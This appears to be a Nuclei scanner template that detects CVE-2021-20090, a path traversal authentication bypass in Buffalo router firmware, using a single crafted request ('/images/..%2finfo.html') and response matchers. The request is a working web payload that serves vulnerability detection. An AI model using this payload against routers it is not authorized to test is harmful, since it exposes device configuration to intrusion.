nuclei-templates/http/cves/2021/CVE-2021-20090.yaml

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id: CVE-2021-20090
info:
name: Buffalo WSR-2533DHPL2 - Path Traversal
author: gy741
severity: critical
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description: |
Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 are susceptible to a path traversal vulnerability that could allow unauthenticated remote attackers to bypass authentication in their web interfaces.
reference:
- https://www.tenable.com/security/research/tra-2021-13
- https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
- https://nvd.nist.gov/vuln/detail/CVE-2021-20090
- https://www.kb.cert.org/vuls/id/914124
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-20090
cwe-id: CWE-22
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epss-score: 0.97395
cpe: cpe:2.3:o:buffalo:wsr-2533dhpl2-bk_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
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vendor: buffalo
product: wsr-2533dhpl2-bk_firmware
tags: cve,cve2021,lfi,buffalo,firmware,iot,kev,tenable
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http:
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- raw:
- |
GET /images/..%2finfo.html HTTP/1.1
Host: {{Hostname}}
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Referer: {{BaseURL}}/info.html
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matchers-condition: and
matchers:
- type: word
words:
- 'URLToken(cgi_path)'
- 'pppoe'
- 'wan'
condition: and
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- type: status
status:
- 200